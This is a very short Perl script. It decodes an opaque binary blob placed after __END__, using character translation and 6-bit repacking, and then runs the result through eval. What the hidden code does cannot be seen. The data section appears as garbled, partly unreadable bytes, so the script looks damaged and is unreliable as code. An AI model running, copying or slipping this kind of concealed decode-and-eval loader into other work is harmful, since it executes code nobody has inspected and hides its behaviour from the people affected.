#!/usr/local/bin/perl -sp00F
$j=<DATA>,chomp$j,$j=~tr/567\12/\r\12\32/d,($j=unpack'B*',$j)=~s/(.{6})
/00$1/gx,($j=pack'B*',$j)=~tr/\0-\77/\r\12 -6;-?W[-x|~/d;eval$j;__END__
v;ӫd8i7s-*$Jub)߉;,4	8	jmtt!
ŷ)P1-Îs\PiJru"r6(,j	jP7[2P4DqBjjl
Ac%7S-Dqˀ$	lZI&q%D	ii7ˇ7FW7FW	k;jvFNc7
4E@
